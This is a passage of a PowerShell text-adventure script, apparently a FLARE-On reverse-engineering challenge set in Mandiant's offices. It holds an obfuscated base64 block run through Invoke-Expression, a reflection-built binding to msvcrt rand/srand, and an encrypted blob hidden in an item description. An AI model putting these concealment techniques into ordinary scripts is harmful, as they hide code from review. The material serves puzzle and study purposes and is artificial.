BmmBmmBmm[  Bmm             a#mmmmmB/        BmmBmmBm6a   3BmmBmmBm
mmm[        mmm            j##mmmmmmm6       mmm   -4mm[  3mm[        
mBmLaaaa,   Bmm           JW#mmP 4mmmmL      mmBaaaa#mm'  3Bm6aaaa,
mmmP!!"?'   mmm          JWmmmP   4mmmBL     Bmm!4X##"    3mmP????'
Bmm[        Bmmaaaaa    jWmmm?     4mmmBL    mmm  !##L,   3BmLaasaa
mmm[        mmm##Z#Z  _jWmmmmaaaaaa,]mBmm6.  mmB   "#Bm/  3mmm#UZ#Z
                     _WBmmmmm#Z#Z#!  "mmmBm,                          
                     ??!??#mmmm#!     "??!??                          
                        .JmmmP'                                    
                       _jmmP'                                      
                      _JW?'                                        
                      "?                                           
--------------------------------------------------------------------
Welcome to FLARE Single-User Dungeon v2.4 - Escape Room
--------------------------------------------------------------------
"@

################################################################################
# Graeber + Dbo = Graebo? Dber?
################################################################################
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(
"U0VULWl0RW0gIHZhUklhYkxFOlM1MiAgKCBbdHlwRV0oICdSdU5UaScgICsgICdtZS5JTlRFUm9"+`
"wc2VSJyAgKydWSUMnKydFUy5DYWxsJyAgKyAgJ0lOR0MnKydvblZFTlRpTycrICAnbicgICkgIC"+`
"kgICA7ICAgICAgJHFWZGphWiAgID0gIFtUeVBFXSggICdyJyArJ1VuVElNRS5JJysgJ050ZScrI"+`
"CAnUk8nICArICAnUCcgKyAgJ1NlcnZpY2VzJyArICcuY2gnKyAgJ0Fyc0V0Jyk7ICAgICRIMDZi"+`
"R2YgID0gW3R5cGVdKCAncnVudElNRS5pbicrICd0JyAgKyAnRXJvUCcgKyAnc2VyVicgICsnaSc"+`
"gICsgJ2NFJysncy5kTCcrJ0xpTVBPUnRBJyAgKyAnVFRySWJVVEUnICApIDsgZnVuY3Rpb24gR2"+`
"VUYC1gQ3VTdE9gbWBBVFRyIHsgJHtkYGxMfSAgPSAgJHthYFJnU31bMF0gIDsgICAke0ZVYE5jf"+`
"SA9ICAke2FgUmdzfVsxXSA7ICAgJHtTZWBUYExhU3R9ICA9ICR7QWBSZ1N9WzJdICA7ICR7ZklF"+`
"bERhYFJgUmBBeX0gID0gIFtSZWZsZWN0aW9uLkZpZWxkSW5mb1tdXSBAKCAgKCAgIENoaWxEaXR"+`
"FTSAgKCAgIlZBUklBQkxFOiIgKyAgImgwNiIgKyAiQkciICsiZiIgKSApLlZBbFVFLiggICJ7MX"+`
"17Mn17MH0iLWYnbGQnLCdHZScsJ3RGaWUnICApLkludm9rZSggKCgiezB9ezJ9ezF9Ii1mICdFb"+`
"icsKCAneScgICsgICdQbycpLCd0cicgKSArICAnaW4nICArICd0JykpLCAgICRIMDZiR2YuKCJ7"+`
"Mn17MX17MH0iLWYnZCcsJ2VsJywnR2V0RmknICApLkludm9rZSggKCdQJyAgKydyJyArICAoICJ"+`
"7MH17MX0iIC1mICggJ2VzJyArICAoICJ7MH17MX0iLWYgJ2VyJywndmUnKSAgKSwoJ1MnKydpZy"+`
"cgICkgKSApKSwgICggICB2YVJJQWJMRSAgSDA2QkdmICAgICkuVmFMVUUuKCAgInsyfXswfXsxf"+`
"SItZiAnbCcsJ2QnLCdHZXRGaWUnKS5JbnZva2UoICgnUycgKyAgKCAiezB9ezF9Ii1mKCAgJ2Un"+`
"ICArJ3RMJyAgKyAgJ2FzdCcgICksJ0UnICkgKyAgJ3JyJyAgKyAnb3InKSAgKSwgICAkSDA2Ykd"+`
"mLigiezB9ezF9Ii1mICdHZXRGaWUnLCdsZCcgKS5JbnZva2UoKCAgJ0MnICArICAoICAiezB9ez"+`
"F9IiAtZiggICggInswfXsxfSIgLWYgJ2EnLCdsbGknKSAgKyduJysgICdnJyAgKSwnQycgICkrK"+`
"CAiezF9ezB9Ii1mKCAgJ252ZScrJ24nKSwnbycgKSArJ3QnICArJ2lvJysnbicgICkgKSwgICAo"+`
"ICBHRVQtdkFySWFCTEUgSDA2YkdGKS5WYUx1RS4oICAiezJ9ezB9ezF9Ii1mICd0JywnRmllbGQ"+`
"nLCdHZScgKS5JbnZva2UoKCAgKCAiezF9ezB9Ii1mKCAnaCcgKydhcicgICksJ0MnKSAgKyggJ1"+`
"MnKyAgJ2V0JyAgKSAgKSkpICA7ICR7RmBpYGVMRFZBbFVgZVN9ID0gW09iamVjdFtdXSBAKCAke"+`
"2ZgdU5DfSwgJHtUYFJVZX0sICR7c2BlYFRsYXNUfSwgICAoZ0VULVZhUmlBYmxFIFM1MiApLlZB"+`
"bHVlOjoid2BJbmFQSSIsICAoZ2V0LXZBUmlhQmxlICgnUXZkakEnICsgICdaJyApICAtdkFMdWV"+`
"vICApOjoidWBOaUNgT2RlIiApOyAgICR7RGBsbGltUE9SYFRgQ2BPTnNgVGBSdUNUb3J9ID0gIC"+`
"ggICAgRGlyIHZBUmlhYmxFOmgwNkJHZikudkFMVUUuImdFYFRjb05gU1RyYFVjdGBvUiIoQChbU"+`
"3RyaW5nXSAgKSk7ICR7QWBUVFJ9ICAgPSAgLiAoInsyfXsxfXswfSItZidjdCcsJ09iamUnLCdu"+`
"ZXctJyApICggIns3fXs1fXsyfXswfXs0fXs2fXszfXsxfXs4fSIgLWYnQ3VTVG9tYXRUJywnZSc"+`
"sJ2VDVElPTi5lbUl0LicsJ0JVaUxEJywnUklidScsJ2wnLCd0ZScsJ3JFZicsJ3InICkoICAgJH"+`
"tEYGxMYElNcE9gUmBUQ29uYFNUUnVDVE9SfSwgQCgke2RgTGx9ICApLCAke2ZJZUxkYEFgUmBSQ"+`
"Xl9LCAke2ZpRWxkVmFgTGB1YGVzfSAgKTsgIHJldHVybiAke2FgVFRyfTsgICB9")))

.("{0}{1}{2}"-f 'SEt-IT','E','M') VariaBLE:q21s ( [TyPE]("{1}{0}{2}" -F'oMaI','aPpd','n') );   &("{1}{0}" -f 'et-ITeM','s')  ('V'+'aRiAbl'+'e:x1R'+'wF') (  [TYPe]("{3}{2}{7}{0}{6}{4}{5}{1}" -f'On.emi','AcCesS','fL','rE','LyB','UildEr','T.ASseMB','ECti'));  function GE`T-`M`svCRT { ${DY`Na`SS`eMBly} = &("{2}{0}{1}" -f'b','ject','New-O') ("{2}{7}{4}{6}{3}{1}{5}{0}"-f'Name','em','Sys','tion.Ass','Refl','bly','ec','tem.')(("{0}{2}{1}"-f 'W','32Lib','in')); ${aSSEM`BlYbU`iL`deR} =  $q21s::"CUr`REnTd`omain"."d`e`Fi`NE`dYNamiC`A`ssEMbLy"(${Dyn`AsSEM`Bly},  $x1rWF::"R`UN"); ${MoDuLEB`uI`LDER} = ${a`sseM`Bl`ybUiLD`Er}.("{2}{0}{5}{4}{1}{3}" -f'fin','nami','De','cModule','Dy','e').Invoke(("{2}{1}{0}" -f 'b','n32Li','Wi'), ${F`AlSe}); ${t`ype`BU`ILDER} = ${mOd`uLeBuIL`d`eR}.("{2}{0}{1}" -f'Ty','pe','Define').Invoke(("{0}{1}" -f 'ms','vcrt'), ("{2}{1}{0}"-f 'ass','blic, Cl','Pu')); ${Me`T`H_SRaND} = ${Ty`PeBu`iL`der}.("{3}{0}{2}{1}" -f 'efineMet','d','ho','D').Invoke( ("{0}{1}" -f 'sran','d'), [Reflection.MethodAttributes] ("{2}{3}{0}{4}{1}"-f 'b','c','P','u','lic, Stati'), [Void], [Type[]] @([Int32])); ${Met`H`_r`AND} = ${typ`e`B`uIldeR}.("{0}{2}{1}"-f'D','thod','efineMe').Invoke( ("{1}{0}" -f 'and','r'), [Reflection.MethodAttributes] ("{2}{1}{0}{3}{4}"-f 'lic, ','ub','P','St','atic'), [Int32], [Type[]] @()); ${at`TR_`s`RAnd} = &("{2}{0}{3}{1}{4}"-f'm','t','Get-Custo','At','r') ("{2}{0}{1}"-f'svcr','t.dll','m') ("{1}{0}" -f 'rand','s') ${F`A`lse}; ${ATTR_`R`And} = &("{0}{2}{3}{1}"-f 'Get-Custo','ttr','m','A') ("{2}{1}{0}" -f'dll','vcrt.','ms') ("{1}{0}" -f 'nd','ra') ${f`Alse}; ${mE`TH_srA`Nd}.("{0}{3}{2}{1}" -f'SetCustom','ute','rib','Att').Invoke(${ATtr`_`sr`AND}); ${mETH_`R`AND}.("{1}{2}{3}{0}" -f'ibute','SetCusto','mA','ttr').Invoke(${A`TTR_`RA`ND}); return ${T`ype`BU`IldEr}.("{2}{0}{1}"-f 'teTy','pe','Crea').Invoke(); }


################################################################################
# Character class
################################################################################

function New-Char()
{
    return new-object PSObject -Property @{ Name="Our Hero"; Contents=@(); Wearing=@(); }
}

function Get-Inventory($char, $trailing) {
    $inv = ''
    if ($char.Contents.Count -ne 0) {
    	foreach ($thing in $char.Contents) {
    		$inv += "`n  $($thing.Name)"
    	}
    }

    if ($inv -eq '') {
    	$inv = 'nothing'
    }
    return "You have: $inv"
}

################################################################################
# Map class
################################################################################
function New-Map
{
    return New-Object PSObject -Property @{ StartingRoom=@() }
}

function Get-Map
{
    $map = New-Map

    $outside = New-Room "Outside" "You're locked out. It doesn't look like there's a way back in."
    Add-RoomLink $outside 'n' $outside 
    Add-RoomLink $outside 'e' $outside 

    $vestibule = New-Room "the vestibule" "This is surely the entrance to a great company."
    Add-RoomLink $vestibule 's' $outside -OneWay

    $lobby = New-Room "the lobby" "There is a reception desk with ferns on either side, and a sign that says MANDIANT."
    Add-RoomLink $vestibule 'n' $lobby

    $sehall = New-Room "the southeast hallway" "This is the hallway between the lobby and the restrooms"
    Add-RoomLink $lobby 'e' $sehall

    $mens = New-Room "the men's room" "This is an immaculate men's room."
    Add-RoomLink $sehall 'e' $mens
    $womens = New-Room "the women's room" "This is an immaculate women's room."
    Add-RoomLink $sehall 's' $womens

    $cubicles = New-Room "the Mandiant offices" "This is where the magic happens. To the west, open work areas, cubicles, offices, and adjustable desks stretch out and intersect in a dazzling maze as far as the eye can see."
    Add-RoomLink $sehall 'n' $cubicles

    $confrooms = New-Room "the conference rooms" "A row of impressive conference rooms spans out before you. Behind the frosted glass are clean tables, perfectly aligned chairs, and neatly wired audio/visual equipment. Every conference room is empty. A low hum of server fans can be heard."
    Add-RoomLink $cubicles 'n' $confrooms

    $office = New-Room "Kevin Mandia's Office" "This room smells of rich mahogany and leather."
    Add-RoomLink $confrooms 'n' $office

    $itcloset = New-Room "the IT access junction" "A shelf contains neatly labeled bins of adapters, cables, and other IT equipment. A moderate hum of server and switch fans can be heard."
    Add-RoomLink $confrooms 'w' $itcloset

    $nwhall = New-Room "the northeast hallway" "This hallway links the snack/lunch area with the IT access junction."
    Add-RoomLink $itcloset 'w' $nwhall

    $lunchroom = New-Room "the snack/lunch area" "An impressive array of juices, waters, coffes, teas, cookies, chips, and snacks adorn every corner. There is an LCD TV displaying a FireEye threat map."
    Add-RoomLink $nwhall 's' $lunchroom

    $swhall = New-Room "the southwest hallway" "This hallway links the snack/lunch area with the lobby."
    Add-RoomLink $lunchroom 's' $swhall

    Add-RoomLink $swhall 'e' $lobby

    $maze = New-Room "work area" "This is someone's cubicle. The desk has a laptop docked on it, and is festooned with the personal effects of whoever works here. The whiteboard has a humorous drawing on it."

    Add-RoomLink $maze 'n' $maze
    Add-RoomLink $maze 'e' $maze
    Add-RoomLink $maze 'u' $maze
    Add-RoomLink $cubicles 'e' $maze -OneWay

    $map.StartingRoom = $vestibule

    $sign = New-Thing "a MANDIANT sign" "It is a sign saying MANDIANT in large, red letters." @("sign", "mandiant") -Hidden -Fixed

    $key = New-Thing "a key" "You BANKbEPxukZfP2EikF8jN04iqGJY0RjM3p++Rci2RiUFvS9RbjWYzbbJ3BSerzwGc9EZkKTvv1JbHOD6ldmehDxyJGa60UJXsKQwr9bU3WsyNkNsVd/XtN9/6kesgmswA5Hvroc2NGYa91gCVvlaYg4U8RiyigMCKj598yfTMc1/koEDpZUhl9Dy4ZhxUUFHbiYRXFARiYNSiqJAEYNB0r93nsAQPNogNrqg23OYd3RPp4THd8G6vkJUXltRgXv7px2CWdOHuxKBVq6EduMFSKpnNB7jAKojNf1oGECrtR5pHdG1LhtTtH6lFE7IVTEKOHD+TMO1VUh0Bpa37WhIAKEwpuyp5+Tspyh0GidHtYcNWfzLNBXymmrhzvta2nJ+FtI6KWXgAAMJdUCy6YrGbWFoR2ChpeWlZLf7cQ1Awh27y6hOV19R6IKOpQzCOQLNjUplm4SOltwRU0pH6BYCeoYXbyRl3kk92uXoBsBXwxdo9QoLBOAdJmKnN95VBT03a+jS3ku3YLwXR29GIlsCfdkVKr4J1d/Xal//e+Bqq1xMEucIdnNSwr4hlOtdpLrPyfnCVkBcadlRC6hGitbptCknTCUniXCCOE1NkWSVi3v5VrXkPGAvw/iRu7F2BimC+o3tIdWPpxkcfks6zVQSiFJjVzrt28+QUb28+YRaCkPhfZALYKQLU3DR5YJw64sL40tykTI68evyRF/Fnp4VTNlWQHXPJ+Y6yCHZnrb8NdIRDPfm1wxOQJbdeaEZSa3AgqI2wW0pPBnf69vVAq4qjxyrI1LPL9hzd7cBfqnohjyDy/t78TZOh0hX++W6zkMl0Ez6I2CHxop3vzg1/9iQig0WAglmdqiAhKbDFSM7kGPf5Reyphx27uzxHAllP7LrX1vF7o9v4vcCrHE7dJpuisSWhsx3rtJsBA15mdMAbuj1ErOpWLMbXCYfhpSj6GLOHOU/PqeDoktZs9BLS+V11PcxaVVwHBGfCimMe61mSFD0hhYJXgTxbwKDvIS6BS+Jb8fxNUfNW/Z2VLjtvJ0mmPsvJHdQnxj+HpfLg187Dseo+j1gUOYoIRLmA0XOMsDlvAmoZu3hJxE2Ft6lx03hjpxYu70di611MLA1XaeUzjQHbYBdfaDbeA8Yd8Md5KxzXFjfjrjV1/f/IddEXg5Lom94RnWJUWyEljpWZPvGUTgwbdKmqqsUURk1X/xMq5ysX9vnCnxcotuCVQGrwuOmyS4P6M/Lm7qROWVZjq1H+azZMJChKIfeBREQMuXSydi0IuWLvtpkCMh2hTETGzNEF0QcrVQ9PsLER7RUluQ27Gi62uWnFGYbHBSPEafWgM3+BRKDnlSyi34S7SNTSWO6nfo6c7CzTsksVaH/rDtCwpsk8HAQRdnTWC+AIsoFHbY3vI53PupKImaLFEtln7CpG3+H0mZxx4JVN9xFF4fxVHwSBOB+t1lSR127TGJaYeHEj38NsYedVPhZpCh3R88RQkZCq1TAhpgzaB0VYAQc6VhlPS0KGPsM1kBFGDNV1gCkXjgpG6MTIBAcFl4igNhjd0buMHYuBVkdnMP/eA0+7OrV1U/W+x0UZwjVxI+9sCked7gwqV1kjkupfbeTe7rjm3KGYP9GbrdPDx70PU2xyylD5xJNlkK5Ec450STxughjkKPPKRerRsH8ianoLifJwFK+kgkMVK4Lr5MlrXJSGbqY8Se/mS2Miu5paedAS/TWJyid7d/raHKrQ4DDYCqpGOm4wFBfRcGKhKeGhwZQjCOSuc1vkVo2IEStFw/Sj74SnAQbSrIegYxWXwsV3o0e6yeG+x3SGO0jVkTYyRAShvMJKZK4AzpCP7yvkZoPWz3T1mjY1davQJj0Fjc0L9bIdchv95yMf+auCqwW70rw7CnQYd5IvcZATZO0EbWEj38UV0ZcgFYEO3lXDgU5ghE7L71q9DFu+DdlcvtZtJbXNyhbUDhMj/LMxJZN8PcZO4bNp9t0Uvbig2tSsWtL8hVgHq3dYwbcVD//Vw+9jpgRQ4YdlawVgFyQwN3mMhobzzuc506DKux1TiGhDbaBXB/SnjlRwU94aFbi+uM1qBVQ+BcHzsinf6r1GbJgU5pgJL7vzCp170M4pvC2bTKlUwdnaJLPoREnVOq/rrXOyztTb/Vp80XIuCv5BGyd4zgbG9fkslnl58k2R2w5ud3HBmQObmPjdkgkk/Y4zjxbzZrE2DRLV9mMTFgMiXkDDubc4H04d5LUVgoOv5S54xI51YYMGmj1ZcFyqLxfSkAnGHxrZkVfkIjbzU04wlMaGbd14swaNXU7Zt3fOwfxgWgI2Z1GcPSLWfrd5WWvBcGCAJPxtIneOJAxFJb/Y0ZIXWg6y/a7VQDqOmv1cnOrObYhsI64IX49MaP37HBemnv1oQrvUpbyEjc9QMu/GmIlbG0YUOSMj1V+CAOTdyJ5UTOMI+LUC5d2ZMgG0hJEO7I4EEVRHqeTVdmcYuRtyr5LyH11u63S9+vgZPD7ktLeyO6Xd4B93iKXYEw2+CCHO58blraUueC7Z+KmMSFvOK9nC1AgPaqF0UKsa9hoOYxYCltAipvGxzNOaiPLA7hOmsDcOs8+7FOgS+Rc/8oouzhtcKOOePL6jraBGsFJFgcvOz4utHS1kWRqpeORyJTHKqoDNADK7umSGvOglIAqocl770+qXBVI/lFY8IVR2Cf3VEfYjY/cTjpPc9KgljScSHAkDHiAqzl9LghxXEIF6nREFo3JUmu3hmlaqKIddsL6jspQ8/TGcRbAr17u6OSQs2B55M2M+70+e8w3+6wJyfs8/Gq3/gpNuTHMhPJTxmeklYy31sx0ORUrHIwvZOUQeMCy28p2dV6Y56DclNYTKwsSvTXC5xc3Xas7+owSwka2VNlNsfA6nJiu5PJe/2/MYltbW4Pix1L4bnqtz7srgly9KpPiE6a0+dFIePccNh+UJO6l/o6cvxoBmFW/LmUr3zaoGC1yEGHGvkGTU5ugndh43vJeavmCUgWhagaL4kSYfUJW/RUdSXjQycAv/mw9m8Trts3jgJL69Fh+DnGJg1G9POcbZUYl9zgY3/PnzaYR5FBfKZAFTmrD58hBFZxH4CMSZqUrcCAlcPi4M1edMswVotplDsJjOxonLgTuZsZnMqYmDK9PMkv8laehwEXPanVtHvBBhK36sMIxQ0p1nT9I/Y1VLfS6xqUue3xuyrWr3wPOBU5LN8MaQaftllXfNu2G0T4QUABXoYZ5GPuxWkc2Eh+NhDmT9BvXIXIrqS5hrnqXAnEauHIuIhA+5AWVzPx0B9IQ3rUi/qFU6m0Opb5yxeUzHzuf2E8Cr0Rgyq/8qR46XssgtOSMSXetAyTLcvmTTqVZx7Jb9th59uBB4oc5nNUEFDApAO/y3kXeUIpZ479MEVFkLzFKA9zFQV958s4Mb6AAbaMW742sMwUF3JXhu8XAbk7BK9CBRBLPF6A7eYH2vSXy1bmr6VJh9eshPCsoWl0ToRy31IsxpjYQ/peuVniAixZpu+v4VfYGCEU4+ofWZEBs/rwHlZ715Y6Z3xLwovvmABlBmGRy2u5RvCP0vQnFNXVbI0ABJ3DTIxp76moyvXYMKDLnGbOLUTjwSDTHjaPBvQDDaVIB4JjhXJm9BPsQtKYmsZi3P6yIOE/Up9iN2oVGQTHajzzgQsfJahIIU1Sg+RpBzfcmII33pSZB9eyOyKso2j9eOSogehzw+BOOgWecczsc0wOqQf7lKDpYga5x14ZtqyYkHc/7KIrArdmdlffTv35av83KR9I6Tujb8gHuWrXo0trOhdAAHwjgKxP988DKAgBF5gVxCH6os1VpJGS88dJedtompTxkGgZQWjb18ks39XW/2t5NuGV8A7wzJdSuCFHSFFl/X6dzf9cMKg2+ZZLyQ5n/VAiLkvSLwcB7S5xmOe29s75vfTsAF60QDyN6sSEDFzJL/THxsYT3zMmPWfrFX+fo7YShnoTnO9RS8txmKHWpSF1vT8i0rCTHl5I7zW8FWNYI7r3XyC0zcylx+tx4sHL6cmV+ma2W5qazLiVndxfvHn1vnn8z+E3YpzkEpp4gm6LAwT/JE98HNonmA1LfUOjCS/cwoTSwRbDdK1XVu3MfMYQx6ixCxB1k/PrECMtIW6PnZTtXVc7b8jHs+O62hdn1xnHCiNMa7QWnl/4eVVjehKcq2A2SR/+wmn2rUeVqamGAg44ZReccGhQRfjwcXAlEwTWeOFh+W2Si4rGKQSzLy8rIuqkKWlDlKsc6OoMuT8pVOwGc2MYKy4g+A3HhayYlipBtdlYchnUsC7Hxh9UtC3j0UozKBpJs5ZbJ3dKPQf7QgE0qI9kQT0esBnN8o+Dx1Z0008CSrGv4Ck9XRk+TxLjQMYRiexwG1w90GGvhd12EuLAeTEZNx+vfJ9iOAFxxT8B8in/1RfP+VHN8dGCVYjwRbSJMAGwXq46QGQBGYeSpBwXLUTxF3LyDqhkxE3elqAu4sI/CUz2gFlG7Eiqh07891r8jfs4o8O1MB8kHnUybzrANtMx0SVTgTocOQMI4XGgDfr/A5LiHE/mxY7BtJpJ8PAyrHYXXFX+YcKzIgdXmi08b29CLCDXI/V5OEoXjPEnWaZO3IwmyVF05G13yHmO53gnw5UPsPl3k+lXrTr+VfLl0+WK0TsiMtZooyq87KUs8O4q1ZLBQgowqOWoHBpO7Z5jttuDGnNTu8JnGSmbPFJCPHsfExbgp8wSxsar9SQkv52BjowErblq3hz5cAFhV14Mpoi50VFZ1Qi8jL1NNpyCY2TtBhS9gRMnV1FP8sAdTmmjZWkjGTkmBJBoayWC7gVFrQALHLihrNjZ+1Qkwd1Su6Usw6VOE2hnjygPGLBU6PWYp/NCtc7r2TfMiqq+XiVt7PBZMRsYtsoJcLXDwnieU59cC+99EogjkCb4FvUHopWzQKb0xOUYy6zczJL86xwPb6pG6k0pgqu3eIFzxuO6o5sJrDMmFq7zLBgymkNPN40WtzQhyP17f4nl2qTIko5ofQe4eog7141NGm+DU99HJBCaIOw7lXyiREymmnWYsrZ5wxuuoKBVKF8SXXbFypsPYm/jCYwoZS/9asw2mSWmGDpy2u0FdJO/qthKQukZAHuHobEFILlS7wXajiBegpnHqu2f9ie7l33l2lO7j+YzmSfW1YH8UCmFkEVOozIYXENHq7ugQC2JLpLgXozdE6HYzAHmRzp5J35pkaaPvWxwI0ud8jdOmLf+i5Tnl/Uzaa5Jh3/Obx5Wc3EuO3s+47sHJKmD0/zBEZaYPmnFOzKu/k5e7PT6fmo97UBshdvp+5CjpWz2CF8H9jaE8nzXNKqLXKOAwsCuCWTwitZLoAukIChcbehkkGtX9eFPeOwsAZNy0wrbNeJ/cIF1cqoZbzs64/KEVDHov6fUF2I/owWLVpj0FOAyJ7et4ByQzbeQ0OKLVlNkvRWG9uQ5gSgYT/EHvE18lmF5ELlW6gtsHOWmk65Bcrl03V/V25hF+fwhB1jYggjpzURTrV24nSE8p81vIraC0dMN9fOdNu1dk+wVC0E7WCh5cO/yNkCdpsab86KuVI0Rojvy8YCpC3+4gKw3XFqeLUGcOyUj9TPsm2HwZ3N0fr9boeuKt9ektj+Y/rvr+VfsR7qtXkRhBBciYWYCe/YK1AkY/mtRcYpjsTc6Cr3A572GA7RTw0M2P2lhCgQea17j55kONIeaYQ6oyuqxKesWlVBhoo7RYYs+aWK0rlcJ6gJE1MxPOblN5SQeVOUjDCd5S6IMmdGF2zflCW5XTOknpvXC6bDeZyupqkJdLlUEouy+0/fbabHW5aquaCBpg+WHUHXQj34jNxcxv3USNYaduQooIhPQuAC1p3/8FRCFxovMnhq6g0QmBoBIBO+TXuc5M4lQygeg6iMK46SBFpeGLgmTNIgofYQMQe6eygjucZ8D5JNhylhw4jrPC26MkMXyDgRnBmwhHZlIqpiGqMwUXln601TBO8B/fHOsfNEdJyEHJuzY7dvZ60sLoecwf5ks48YxaqywmUYj9pRcxj+EbC1Zgi+bry1knUZteacynYqBpX7On8zmhYeFwV2xOwDc/iQ8iPvxKw0N2sYCGv6uQVXQ5n6loWIeQdLH4JZaipb52u0VlYrGLnOjqQv+4IBMeQUdHozu8y6qYy4cNhgDrEMHkuvOQaNgiAtXAxjFm57jERRcxeuTjuqQXkVuMswlD+vAeKOtzgQ5cXofD9Y2QF/a7Vkhb8ulXBAM3QlSsjQqm0UNL3PVwX+92U1y2duLlrbk0Z5abwAuEg0k0Hvepl8Av6KjccjpySa1oxhl66j6eqjt9ZDLjAcRdzOpNEPDgibj57QZ3/J8GDbV5xBtLGY1mHkzqV42pVa3HEGBCDgN4bKVMvwProh062hpw/OVLOIgNjYWlK/xOgIEag8Xl+/jlrUJkib0OXNtQN2QHrm6jp3pRfqyuxc7+3BtP3cL9WeXfTe/L/m9eOpS9S2Fhm6O9UdIJnWuZdhKE/+L8h5K01MFnhBhjuCnJBgy7KikZOH9eDfxBoMrM+uGqqSqVfbpcENE4146/9bEcwUokP4V8XBzKhdyUsu/wTDXVp/S77TDdx8+eDCpEhJWcLNskwUqew2dCVvD5IGg998CVpTLH1Wb2rV+dI0i+ogHq7iU/Rzv5dSkm3keXf7Q7ECHfBMBdWNzN6YEzua1qKS+AU7MAsj+A2xmZtWeGZVqDGwvsAPXLIKC5I7fxX9cRDeLDEA4CaQaDZEkg/Y+/Ab09yjQS9gYLjnI4oL3XHuzJhQ78mBLqqMnRYt8B6+eUu0eWA2BfP7WWkxItBYNFQ5cf3Y0EuUTzpH/d+EPh6XGLPhS+iaGAUjaIiUpSPM8etRxxMGGI42LupOTEl4KoqWqhXDpqakdTbDXfAe5AykUzL/JBru5/OzmgpSensyDam3iX3BecQhTeEPCkLKrW9GtaQzpOC4Dbjd0qvkeawHjJnU/gqqFude795a3pzcBTUj6bKh3nwepufbi65bMXwytZR4w0Bf103mcUxW0nbKjy2E5y7vtevioKnBczyOQIyvfe9Uk/vnS6pssxH2hvcJoTvUBKUE13tXVPyYqaufq9AnLIwW5bL/rX7V5fRKbo59ApqdI77BcNWGedcmAKkJl3qB+MSp73d1bYAB/tD1Fzwoh3DsEkNUy1bTzZSwTYi40ZoVRl3x6FJf5O1y25FkThIg827A3Cc3T/vYFPZOzk32N3wWEiUFoIq+YJX0FCyBRWtjTGIE/9kikq5xjw+f+F3ld2ohpRQ6Jb5ynqM+AYVcIWvqA4MvdxvZKKaCQPEijebk7GkWEB5DMOFLonWu0fXAkjtxNM/dePncLSKYpb3v2E8/ktEDcthZi78WaUV39LBnrP24LJAgstIp9Sgh2v8HINupZoV9iDHO6S5iX+XLVHCPom/mL4tJ5pqyJptlnr4y1yQK94schflTTX+GMWWKUnqAxEaKsIJ5JVxnNWnovM+OjV51rZPYDgTSG3nKMkOhLmeTJ4cJDVprEjSNoLLtuafapgv6LXD1mvU1+hin6ZgrDI1rF9toW1wqzr751ZeR0mOFfDO3XBHGy2PsNTrDVHcZeaQUp4CkQ9SCXjpa9vjdYNILmyuhxJlK+mjB02m2YopD3n7J/TE+0iyflZ3R0RrzeHbpVuGhsGbCuUHtVIk1o8PeZ6MpVxLNVgbFgDQve3RMARxEAmB4o5ovfB2SP74jN+rirPo+34n1urtI8MvJ/9vMTDKAip6tqbNU0jhOLOseWN8TEEObnvYBJqfBcrCVij+/mHvVzUtJISqvvJ2NTXbsqeKg+SLeKPH6BEQwW3/gZqg320vebk6Q3rkHzCzgyoH/sQyq0vUxoAQeWjYYJrVWlRB20vy6Z4d+bcBr5ofdU8O65fKpGRG1pPFKIrSvIwGG01fUn/gJK7hI32gEN4dcK3S0/IzUKN9VtzFqotWW/VU8xD/Sm4sipzOwcRCEvQnfVsi2x1E861nZiBKTczb4UM7BIeIzxDhC2g9TbBNB5o8QwhV+wCQN7h39RNZkX5i5r/F9mNK+12I3WxIh3qcyHzQQi1a34v8DzZH7frX6xosVwPYIIgq6Lp2D8R+ecyEAwkG/jtoZzPtEVBhQ==" @("key")

    $drawers = New-Thing "the desk drawers" "The drawers are mostly empty, except the bottom-right drawer which contains some junk." @("drawer", "drawers", "desk drawer", "desk drawers") -Hidden -Fixed -Container -Contents @($key)
    $sheet = New-Thing "a sign-in sheet" "It's blank, and chained to the desk." @("sign-in", "sign-in sheet", "sheet", "signin", "signin sheet") -Hidden -Fixed
    $fern1 = New-Thing "a potted fern" "It is a healthy fern." @("fern", "ferns") -Hidden
    $fern2 = New-Thing "a potted fern" "It is a healthy fern." @("fern", "ferns") -Hidden
    $desk = New-Thing "a desk" "It's a plain desk with a sign-in sheet and laptop on top and a few drawers on the sides." @("desk") -Fixed
    $computer = (New-Thing "a computer" "It's powered off and tethered to the desk with a chain." @("computer", "laptop") -Hidden -Fixed)
    $lobby.Contents += $sign
    $lobby.Contents += $desk
    $lobby.Contents += $fern1
    $lobby.Contents += $fern2
    $lobby.Contents += $drawers
    $lobby.Contents += $sheet
    $lobby.Contents += $computer

    $pewpew = New-Thing "an LCD TV displaying a FireEye threat map" "Pew pew." @("threat map", "threatmap", "map", "tv", "lcd") -Hidden -Fixed
    $lunchroom.Contents += $pewpew

    $kevinmandia = New-Thing "Kevin Mandia" "This guy looks pretty intense." @("kevin", "mandia", "kevinmandia", "theman", "themyth", "thelegend") -Fixed
    $kevinsdesk = New-Thing "Kevin Mandia's Desk" "It is made of rich mahogany." @("desk") -Fixed
    $helmet = New-Thing "A football helmet" "It is a black football helmet with a FireEye logo on the side and numerous cryptic decals. It begs to be worn." @("helmet")
    $office.Contents += $kevinmandia
    $office.Contents += $kevinsdesk
    $office.Contents += $helmet

    return $map
}

################################################################################
# Room class
################################################################################

function New-Exits([PSObject]$n=$null, [PSObject]$s=$null, [PSObject]$e=$null, [PSObject]$w=$null, [PSObject]$u=$null, [PSObject]$d=$null)
{
    return New-Object PSObject -Property @{ N=$n; S=$s; E=$e; W=$W; U=$u; D=$d }
}

function New-Room([String]$name, [String]$desc, [PSObject]$n=$null, [PSObject]$s=$null, [PSObject]$e=$null, [PSObject]$w=$null, [PSObject]$u=$null, [PSObject]$d=$null)
{
    return New-Object PSObject -Property @{ Name=$name; Desc=$desc; Contents=@(); Exits=New-Exits $n $s $e $w $u $d }
}

function Add-RoomLink([PSObject]$room1, $dir_to_2, [PSObject]$room2, [Switch]$OneWay=$false)
{
    switch ($dir_to_2.ToLower()) {
    	'n' { $room1.Exits.N = $room2; if ($OneWay -eq $false) { $room2.Exits.S = $room1 } }
    	's' { $room1.Exits.S = $room2; if ($OneWay -eq $false) { $room2.Exits.N = $room1 } }
    	'e' { $room1.Exits.E = $room2; if ($OneWay -eq $false) { $room2.Exits.W = $room1 } }
    	'w' { $room1.Exits.W = $room2; if ($OneWay -eq $false) { $room2.Exits.E = $room1 } }
    	'u' { $room1.Exits.U = $room2; if ($OneWay -eq $false) { $room2.Exits.D = $room1 } }
